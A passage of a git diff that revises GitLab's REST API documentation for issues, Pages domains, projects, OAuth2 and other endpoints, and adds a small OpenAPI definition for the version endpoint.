the epic to add the issue to. Valid values are greater than or equal to 0. | | `epic_iid` **(PREMIUM)** | integer | no | IID of the epic to add the issue to. Valid values are greater than or equal to 0. (deprecated, [will be removed in version 5](https://gitlab.com/gitlab-org/gitlab/-/issues/35157)) | @@ -796,7 +976,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -808,7 +988,7 @@ the `weight` parameter: } ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` parameter: ```json @@ -822,9 +1002,12 @@ the `health_status` parameter: ] ``` -**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API. +NOTE: **Note:** +The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists. +NOTE: **Note:** +The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed +the issue still exists. ## Rate limits @@ -853,7 +1036,7 @@ PUT /projects/:id/issues/:issue_iid | `add_labels` | string | no | Comma-separated label names to add to an issue. | | `remove_labels`| string | no | Comma-separated label names to remove from an issue. | | `state_event` | string | no | The state event of an issue. Set `close` to close the issue and `reopen` to reopen it | -| `updated_at` | string | no | Date time string, ISO 8601 formatted, for example `2016-03-11T03:45:40Z` (requires admin or project owner rights). Empty string or null values are not accepted.| +| `updated_at` | string | no | Date time string, ISO 8601 formatted, for example `2016-03-11T03:45:40Z` (requires administrator or project owner rights). Empty string or null values are not accepted.| | `due_date` | string | no | Date time string in the format YEAR-MONTH-DAY, for example `2016-03-11` | | `weight` **(STARTER)** | integer | no | The weight of the issue. Valid values are greater than or equal to 0. 0 | | `discussion_locked` | boolean | no | Flag indicating if the issue's discussion is locked. If the discussion is locked only project members can add or edit comments. | @@ -932,7 +1115,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -944,7 +1127,7 @@ the `weight` parameter: } ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` parameter: ```json @@ -965,7 +1148,8 @@ NOTE: **Note:** `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. NOTE: **Note:** -The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists. +The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed +the issue still exists. ## Delete an issue @@ -997,9 +1181,9 @@ PUT /projects/:id/issues/:issue_iid/reorder | Attribute | Type | Required | Description | |-------------|---------|----------|--------------------------------------| | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | -| `issue_iid` | integer | yes | The internal ID of a project's issue | -| `move_after_id` | integer | no | The ID of a projet's issue to move this issue after | -| `move_before_id` | integer | no | The ID of a projet's issue to move this issue before | +| `issue_iid` | integer | yes | The internal ID of the project's issue | +| `move_after_id` | integer | no | The ID of a project's issue that should be placed after this issue | +| `move_before_id` | integer | no | The ID of a project's issue that should be placed before this issue | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/4/issues/85/reorder?move_after_id=51&move_before_id=92" @@ -1009,10 +1193,10 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab Moves an issue to a different project. If the target project equals the source project or the user has insufficient permissions to move an -issue, error `400` together with an explaining error message is returned. +issue, status code `400` and an error message is returned. -If a given label and/or milestone with the same name also exists in the target -project, it will then be assigned to the issue that is being moved. +If a given label or milestone with the same name also exists in the target +project, it's then assigned to the issue being moved. ```plaintext POST /projects/:id/issues/:issue_iid/move @@ -1099,7 +1283,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -1111,7 +1295,7 @@ the `weight` parameter: } ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` parameter: ```json @@ -1125,9 +1309,12 @@ the `health_status` parameter: ] ``` -**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API. +NOTE: **Note:** +The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists. +NOTE: **Note:** +The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed +the issue still exists. ## Subscribe to an issue @@ -1219,7 +1406,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -1231,9 +1418,12 @@ the `weight` parameter: } ``` -**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API. +NOTE: **Note:** +The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists. +NOTE: **Note:** +The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed +the issue still exists. ## Unsubscribe from an issue @@ -1306,10 +1496,10 @@ Example response: } ``` -## Create a todo +## Create a to-do -Manually creates a todo for the current user on an issue. If -there already exists a todo for the user on that issue, status code `304` is +Manually creates a to-do for the current user on an issue. If +there already exists a to-do for the user on that issue, status code `304` is returned. ```plaintext @@ -1418,9 +1608,12 @@ Example response: } ``` -**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API. +NOTE: **Note:** +The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -**Note**: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value will only be present for issues which were closed after GitLab 10.6 and when the user account that closed the issue still exists. +NOTE: **Note:** +The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed +the issue still exists. ## Set a time estimate for an issue @@ -1538,7 +1731,7 @@ Example response: ## Get time tracking stats -If the project is private or the issue is confidential, credentials will need to be provided for authorization. +If the project is private or the issue is confidential, you need to provide credentials to authorize. The preferred way to do this, is by using [personal access tokens](../user/profile/personal_access_tokens.md). ```plaintext @@ -1569,7 +1762,7 @@ Example response: Get all the merge requests that are related to the issue. -If the project is private or the issue is confidential, credentials will need to be provided for authorization. +If the project is private or the issue is confidential, you need to provide credentials to authorize. The preferred way to do this, is by using [personal access tokens](../user/profile/personal_access_tokens.md). ```plaintext @@ -1726,19 +1919,19 @@ Example response: ## List merge requests that will close issue on merge -Get all the merge requests that will close issue when merged. +Get all the merge requests that will close an issue when merged. -If the project is private or the issue is confidential, credentials will need to be provided for authorization. +If the project is private or the issue is confidential, you need to provide credentials to authorize. The preferred way to do this, is by using [personal access tokens](../user/profile/personal_access_tokens.md). ```plaintext GET /projects/:id/issues/:issue_iid/closed_by ``` -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer | yes | The ID of a project | -| `issue_iid` | integer | yes | The internal ID of a project issue | +| Attribute | Type | Required | Description | +| ----------- | ---------------| -------- | ---------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](./README.md#namespaced-path-encoding) owned by the authenticated user | +| `issue_iid` | integer | yes | The internal ID of a project issue | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/issues/11/closed_by" @@ -1804,7 +1997,7 @@ Example response: ## Participants on issues -If the project is private or the issue is confidential, credentials will need to be provided for authorization. +If the project is private or the issue is confidential, you need to provide credentials to authorize. The preferred way to do this, is by using [personal access tokens](../user/profile/personal_access_tokens.md). ```plaintext diff --git a/doc/api/job_artifacts.md b/doc/api/job_artifacts.md index 5df7915ad5c..458877d6548 100644 --- a/doc/api/job_artifacts.md +++ b/doc/api/job_artifacts.md @@ -14,7 +14,7 @@ GET /projects/:id/jobs/:job_id/artifacts |-------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------| | `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | | `job_id` | integer | yes | ID of a job. | -| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline-premium) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. | +| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. | Example request using the `PRIVATE-TOKEN` header: @@ -74,7 +74,7 @@ Parameters | `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | | `ref_name` | string | yes | Branch or tag name in repository. HEAD or SHA references are not supported. | | `job` | string | yes | The name of the job. | -| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline-premium) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. | +| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. | Example request using the `PRIVATE-TOKEN` header: diff --git a/doc/api/markdown.md b/doc/api/markdown.md index 4e5c8515126..e382ca6b7c8 100644 --- a/doc/api/markdown.md +++ b/doc/api/markdown.md @@ -20,8 +20,8 @@ POST /api/v4/markdown | Attribute | Type | Required | Description | | --------- | ------- | ------------- | ------------------------------------------ | | `text` | string | yes | The Markdown text to render | -| `gfm` | boolean | no (optional) | Render text using GitLab Flavored Markdown. Default is `false` | -| `project` | string | no (optional) | Use `project` as a context when creating references using GitLab Flavored Markdown. [Authentication](README.md#authentication) is required if a project is not public. | +| `gfm` | boolean | no | Render text using GitLab Flavored Markdown. Default is `false` | +| `project` | string | no | Use `project` as a context when creating references using GitLab Flavored Markdown. [Authentication](README.md#authentication) is required if a project is not public. | ```shell curl --header Content-Type:application/json --data '{"text":"Hello world! :tada:", "gfm":true, "project":"group_example/project_example"}' "https://gitlab.example.com/api/v4/markdown" diff --git a/doc/api/members.md b/doc/api/members.md index 90c36a0b822..76d63b277c4 100644 --- a/doc/api/members.md +++ b/doc/api/members.md @@ -81,9 +81,10 @@ Example response: ## List all members of a group or project including inherited members -Gets a list of group or project members viewable by the authenticated user, including inherited members through ancestor groups. -When a user is a member of the project/group and of one or more ancestor groups the user is returned only once with the project `access_level` (if exists) -or the `access_level` for the user in the first group which they belong to in the project groups ancestors chain. +Gets a list of group or project members viewable by the authenticated user, including inherited members and permissions through ancestor groups. + +CAUTION: **Caution:** +Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/249523), the users effective `access_level` may actually be higher than returned value when listing group members. This function takes pagination parameters `page` and `per_page` to restrict the list of users. diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md index 4798145e837..faefc445210 100644 --- a/doc/api/merge_requests.md +++ b/doc/api/merge_requests.md @@ -2085,10 +2085,10 @@ the `approvals_before_merge` parameter: } ``` -## Create a todo +## Create a to-do -Manually creates a todo for the current user on a merge request. -If there already exists a todo for the user on that merge request, +Manually creates a to-do for the current user on a merge request. +If there already exists a to-do for the user on that merge request, status code `304` is returned. ```plaintext diff --git a/doc/api/milestones.md b/doc/api/milestones.md index 7b4d1cc331d..7b26dbadad4 100644 --- a/doc/api/milestones.md +++ b/doc/api/milestones.md @@ -52,7 +52,8 @@ Example Response: "start_date": "2013-11-10", "state": "active", "updated_at": "2013-10-02T09:24:18Z", - "created_at": "2013-10-02T09:24:18Z" + "created_at": "2013-10-02T09:24:18Z", + "expired": false } ] ``` diff --git a/doc/api/notes.md b/doc/api/notes.md index 3a68454507a..aaff28757bb 100644 --- a/doc/api/notes.md +++ b/doc/api/notes.md @@ -12,7 +12,8 @@ assignee changes, there will be a corresponding system note). ## Resource events -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/38096) in GitLab 13.3 for state, milestone, and weight events. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/38096) in GitLab 13.3 for state, milestone, and weight events. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40850) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.4 for iteration events. Some system notes are not part of this API, but are recorded as separate events: @@ -20,6 +21,7 @@ Some system notes are not part of this API, but are recorded as separate events: - [Resource state events](resource_state_events.md) - [Resource milestone events](resource_milestone_events.md) - [Resource weight events](resource_weight_events.md) **(STARTER)** +- [Resource iteration events](resource_iteration_events.md) **(STARTER)** ## Notes pagination diff --git a/doc/api/oauth2.md b/doc/api/oauth2.md index cc8b31ecf17..5fbb7913ff4 100644 --- a/doc/api/oauth2.md +++ b/doc/api/oauth2.md @@ -61,7 +61,7 @@ The web application flow is: include the GET `code` parameter, for example: ```plaintext - http://myapp.com/oauth/redirect?code=1234567890&state=YOUR_UNIQUE_STATE_HASH + https://example.com/oauth/redirect?code=1234567890&state=YOUR_UNIQUE_STATE_HASH ``` You should then use `code` to request an access token. @@ -72,7 +72,7 @@ The web application flow is: ```ruby parameters = 'client_id=APP_ID&client_secret=APP_SECRET&code=RETURNED_CODE&grant_type=authorization_code&redirect_uri=REDIRECT_URI' - RestClient.post 'http://gitlab.example.com/oauth/token', parameters + RestClient.post 'https://gitlab.example.com/oauth/token', parameters ``` Example response: @@ -125,7 +125,7 @@ will include a fragment with `access_token` as well as token details in GET parameters, for example: ```plaintext -http://myapp.com/oauth/redirect#access_token=ABCDExyz123&state=YOUR_UNIQUE_STATE_HASH&token_type=bearer&expires_in=3600 +https://example.com/oauth/redirect#access_token=ABCDExyz123&state=YOUR_UNIQUE_STATE_HASH&token_type=bearer&expires_in=3600 ``` ### Resource owner password credentials flow @@ -198,7 +198,7 @@ By default, the scope of the access token is `api`, which provides complete read For testing, you can use the `oauth2` Ruby gem: ```ruby -client = OAuth2::Client.new('the_client_id', 'the_client_secret', :site => "http://example.com") +client = OAuth2::Client.new('the_client_id', 'the_client_secret', :site => "https://example.com") access_token = client.password.get_token('user@example.com', 'secret') puts access_token.token ``` diff --git a/doc/api/openapi/openapi.yaml b/doc/api/openapi/openapi.yaml new file mode 100644 index 00000000000..8aa4de62501 --- /dev/null +++ b/doc/api/openapi/openapi.yaml @@ -0,0 +1,26 @@ +openapi: "3.0.0" +info: + description: | + An OpenAPI definition for the GitLab REST API. + Only one API resource/endpoint is currently included. + The intent is to expand this to match the entire Markdown documentation of the API: + <https://docs.gitlab.com/ee/api/>. Contributions are welcome. + + When viewing this on gitlab.com, you can test API calls directly from the browser + against the `gitlab.com` instance, if you are logged in. + The feature uses the current [GitLab session cookie](https://docs.gitlab.com/ee/api/README.html#session-cookie), + so each request is made using your account. + + Read more at <https://docs.gitlab.com/ee/development/documentation/styleguide.html#restful-api>. + version: "v4" + title: "GitLab API" + termsOfService: "https://about.gitlab.com/terms/" + license: + name: "CC BY-SA 4.0" + url: "https://gitlab.com/gitlab-org/gitlab/-/blob/master/LICENSE" +servers: + - url: "https://gitlab.com/api/" + +paths: + /v4/version: + $ref: "v4/version.yaml" diff --git a/doc/api/openapi/v4/version.yaml b/doc/api/openapi/v4/version.yaml new file mode 100644 index 00000000000..3a689840f4c --- /dev/null +++ b/doc/api/openapi/v4/version.yaml @@ -0,0 +1,28 @@ +# Markdown documentation: https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/api/version.md + +get: + tags: + - version + summary: "Retrieve version information for this GitLab instance." + operationId: "getVersion" + responses: + "401": + description: "unauthorized operation" + "200": + description: "successful operation" + content: + "application/json": + schema: + title: "VersionResponse" + type: "object" + properties: + version: + type: "string" + revision: + type: "string" + examples: + Example: + value: + version: "13.3.0-pre" + revision: "f2b05afebb0" + diff --git a/doc/api/pages_domains.md b/doc/api/pages_domains.md index 1fddc79814f..6f7236c8d1a 100644 --- a/doc/api/pages_domains.md +++ b/doc/api/pages_domains.md @@ -10,9 +10,9 @@ Endpoints for connecting custom domain(s) and TLS certificates in [GitLab Pages] The GitLab Pages feature must be enabled to use these endpoints. Find out more about [administering](../administration/pages/index.md) and [using](../user/project/pages/index.md) the feature. -## List all pages domains +## List all Pages domains -Get a list of all pages domains. The user must have admin permissions. +Get a list of all Pages domains. The user must have admin permissions. ```plaintext GET /pages/domains @@ -37,9 +37,9 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a ] ``` -## List pages domains +## List Pages domains -Get a list of project pages domains. The user must have permissions to view pages domains. +Get a list of project Pages domains. The user must have permissions to view Pages domains. ```plaintext GET /projects/:id/pages/domains @@ -73,9 +73,9 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a ] ``` -## Single pages domain +## Single Pages domain -Get a single project pages domain. The user must have permissions to view pages domains. +Get a single project Pages domain. The user must have permissions to view Pages domains. ```plaintext GET /projects/:id/pages/domains/:domain @@ -115,9 +115,9 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a } ``` -## Create new pages domain +## Create new Pages domain -Creates a new pages domain. The user must have permissions to create new pages domains. +Creates a new Pages domain. The user must have permissions to create new Pages domains. ```plaintext POST /projects/:id/pages/domains @@ -131,14 +131,20 @@ POST /projects/:id/pages/domains | `certificate` | file/string | no | The certificate in PEM format with intermediates following in most specific to least specific order.| | `key` | file/string | no | The certificate key in PEM format. | +Create a new Pages domain with a certificate from a `.pem` file: + ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain=ssl.domain.example" --form "certificate=@/path/to/cert.pem" --form "key=@/path/to/key.pem" "https://gitlab.example.com/api/v4/projects/5/pages/domains" ``` +Create a new Pages domain by using a variable containing the certificate: + ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain=ssl.domain.example" --form "certificate=$CERT_PEM" --form "key=$KEY_PEM" "https://gitlab.example.com/api/v4/projects/5/pages/domains" ``` +Create a new Pages domain with an [automatic certificate](../user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md#enabling-lets-encrypt-integration-for-your-custom-domain): + ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain=ssl.domain.example" --form "auto_ssl_enabled=true" "https://gitlab.example.com/api/v4/projects/5/pages/domains" ``` @@ -157,9 +163,9 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain } ``` -## Update pages domain +## Update Pages domain -Updates an existing project pages domain. The user must have permissions to change an existing pages domains. +Updates an existing project Pages domain. The user must have permissions to change an existing Pages domains. ```plaintext PUT /projects/:id/pages/domains/:domain @@ -175,10 +181,14 @@ PUT /projects/:id/pages/domains/:domain ### Adding certificate +Add a certificate for a Pages domain from a `.pem` file: + ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=@/path/to/cert.pem" --form "key=@/path/to/key.pem" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example" ``` +Add a certificate for a Pages domain by using a variable containing the certificate: + ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=$CERT_PEM" --form "key=$KEY_PEM" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example" ``` @@ -227,9 +237,9 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certifi } ``` -## Delete pages domain +## Delete Pages domain -Deletes an existing project pages domain. +Deletes an existing project Pages domain. ```plaintext DELETE /projects/:id/pages/domains/:domain diff --git a/doc/api/pipelines.md b/doc/api/pipelines.md index dc81ef0e25e..95a7787e029 100644 --- a/doc/api/pipelines.md +++ b/doc/api/pipelines.md @@ -155,8 +155,8 @@ Example of response > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202525) in GitLab 13.0. -CAUTION: **Caution:** -This API route is part of the [JUnit test report](../ci/junit_test_reports.md) feature. It is protected by a [feature flag](../development/feature_flags/index.md) that is **disabled** due to performance issues with very large data sets. +NOTE: **Note:** +This API route is part of the [Unit test report](../ci/unit_test_reports.md) feature. ```plaintext GET /projects/:id/pipelines/:pipeline_id/test_report diff --git a/doc/api/project_import_export.md b/doc/api/project_import_export.md index 5565eaa97f7..5c631d2f084 100644 --- a/doc/api/project_import_export.md +++ b/doc/api/project_import_export.md @@ -86,8 +86,12 @@ an email notifying the user to download the file, uploading the exported file to `regeneration_in_progress` is when an export file is available to download, and a request to generate a new export is in process. +`none` is when there are no exports _queued_, _started_, _finished_, or _being regenerated_ + `_links` are only present when export has finished. +`created_at` is the project create timestamp, not the export start time. + ```json { "id": 1, diff --git a/doc/api/project_level_variables.md b/doc/api/project_level_variables.md index 4760816f5d0..cd1c24b756f 100644 --- a/doc/api/project_level_variables.md +++ b/doc/api/project_level_variables.md @@ -154,11 +154,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git ## The `filter` parameter > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34490) in GitLab 13.2. -> - It's deployed behind a feature flag, disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39209) on GitLab 13.3. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable). +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/227052) in GitLab 13.4. This parameter is used for filtering by attributes, such as `environment_scope`. @@ -167,21 +163,3 @@ Example usage: ```shell curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/variables/VARIABLE_1?filter[environment_scope]=production" ``` - -### Enable or disable - -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) -can opt to disable it for your instance. - -To disable it: - -```ruby -Feature.disable(:ci_variables_api_filter_environment_scope) -``` - -To enable it: - -```ruby -Feature.enable(:ci_variables_api_filter_environment_scope) -``` diff --git a/doc/api/project_repository_storage_moves.md b/doc/api/project_repository_storage_moves.md index f7fb361bf53..2010fccc624 100644 --- a/doc/api/project_repository_storage_moves.md +++ b/doc/api/project_repository_storage_moves.md @@ -9,8 +9,22 @@ type: reference > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31285) in GitLab 13.0. -Project repository storage can be moved. To retrieve project repository storage moves using the API, -you must [authenticate yourself](README.md#authentication) as an administrator. +Project repositories can be moved between storages. This can be useful when +[migrating to Gitaly Cluster](../administration/gitaly/praefect.md#migrate-existing-repositories-to-gitaly-cluster), +for example. + +As project repository storage moves are processed, they transition through different states. Values +of `state` are: + +- `initial` +- `scheduled` +- `started` +- `finished` +- `failed` +- `replicated` +- `cleanup_failed` + +This API requires you to [authenticate yourself](README.md#authentication) as an administrator. ## Retrieve all project repository storage moves diff --git a/doc/api/project_templates.md b/doc/api/project_templates.md index e08ff56925e..08f3aefb429 100644 --- a/doc/api/project_templates.md +++ b/doc/api/project_templates.md @@ -21,7 +21,7 @@ It deprecates these endpoints, which will be removed for API version 5. In addition to templates common to the entire instance, project-specific templates are also available from this API endpoint. -Support for [Group-level file templates](../user/group/index.md#group-file-templates-premium) +Support for [Group-level file templates](../user/group/index.md#group-file-templates) **(PREMIUM)** was [added](https://gitlab.com/gitlab-org/gitlab/-/issues/5987) in GitLab 11.5 @@ -110,7 +110,7 @@ Example response (Dockerfile): ```json { "name": "Binary", - "content": "# This file is a template, and might need editing before it works on your project.\n# This Dockerfile installs a compiled binary into a bare system.\n# You must either commit your compiled binary into source control (not recommended)\n# or build the binary first as part of a CI/CD pipeline.\n\nFROM buildpack-deps:jessie\n\nWORKDIR /usr/local/bin\n\n# Change `app` to whatever your binary is called\nAdd app .\nCMD [\"./app\"]\n" + "content": "# This file is a template, and might need editing before it works on your project.\n# This Dockerfile installs a compiled binary into a bare system.\n# You must either commit your compiled binary into source control (not recommended)\n# or build the binary first as part of a CI/CD pipeline.\n\nFROM buildpack-deps:buster\n\nWORKDIR /usr/local/bin\n\n# Change `app` to whatever your binary is called\nAdd app .\nCMD [\"./app\"]\n" } ``` diff --git a/doc/api/projects.md b/doc/api/projects.md index ee9779b54e0..ad26457ad99 100644 --- a/doc/api/projects.md +++ b/doc/api/projects.md @@ -22,7 +22,7 @@ Values for the project visibility level are: ## Project merge method -There are currently three options for `merge_method` to choose from: +There are three options for `merge_method` to choose from: - `merge`: A merge commit is created for every merge, and merging is allowed as long as there are no conflicts. @@ -44,28 +44,28 @@ GET /projects | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | | `archived` | boolean | no | Limit by archived status | -| `visibility` | string | no | Limit by visibility `public`, `internal`, or `private` | +| `id_after` | integer | no | Limit results to projects with IDs greater than the specified ID | +| `id_before` | integer | no | Limit results to projects with IDs less than the specified ID | +| `last_activity_after` | datetime | no | Limit results to projects with last_activity after specified time. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ | +| `last_activity_before` | datetime | no | Limit results to projects with last_activity before specified time. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ | +| `membership` | boolean | no | Limit by projects that the current user is a member of | +| `min_access_level` | integer | no | Limit by current user minimal [access level](members.md#valid-access-levels) | | `order_by` | string | no | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, or `last_activity_at` fields. `repository_size`, `storage_size`, or `wiki_size` fields are only allowed for admins. Default is `created_at` | -| `sort` | string | no | Return projects sorted in `asc` or `desc` order. Default is `desc` | -| `search` | string | no | Return list of projects matching the search criteria | +| `owned` | boolean | no | Limit by projects explicitly owned by the current user | +| `repository_checksum_failed` | boolean | no | **(PREMIUM)** Limit projects where the repository checksum calculation has failed ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6137) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2) | +| `repository_storage` | string | no | Limit results to projects stored on repository_storage. Available for admins only. | | `search_namespaces` | boolean | no | Include ancestor namespaces when matching search criteria. Default is `false` | +| `search` | string | no | Return list of projects matching the search criteria | | `simple` | boolean | no | Return only limited fields for each project. This is a no-op without authentication as then _only_ simple fields are returned. | -| `owned` | boolean | no | Limit by projects explicitly owned by the current user | -| `membership` | boolean | no | Limit by projects that the current user is a member of | +| `sort` | string | no | Return projects sorted in `asc` or `desc` order. Default is `desc` | | `starred` | boolean | no | Limit by projects starred by the current user | | `statistics` | boolean | no | Include project statistics | +| `visibility` | string | no | Limit by visibility `public`, `internal`, or `private` | +| `wiki_checksum_failed` | boolean | no | **(PREMIUM)** Limit projects where the wiki checksum calculation has failed ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6137) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2) | | `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (admins only) | | `with_issues_enabled` | boolean | no | Limit by enabled issues feature | | `with_merge_requests_enabled` | boolean | no | Limit by enabled merge requests feature | | `with_programming_language` | string | no | Limit by projects which use the given programming language | -| `wiki_checksum_failed` | boolean | no | **(PREMIUM)** Limit projects where the wiki checksum calculation has failed ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6137) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2) | -| `repository_checksum_failed` | boolean | no | **(PREMIUM)** Limit projects where the repository checksum calculation has failed ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6137) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2) | -| `min_access_level` | integer | no | Limit by current user minimal [access level](members.md#valid-access-levels) | -| `id_after` | integer | no | Limit results to projects with IDs greater than the specified ID | -| `id_before` | integer | no | Limit results to projects with IDs less than the specified ID | -| `last_activity_after` | datetime | no | Limit results to projects with last_activity after specified time. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ | -| `last_activity_before` | datetime | no | Limit results to projects with last_activity 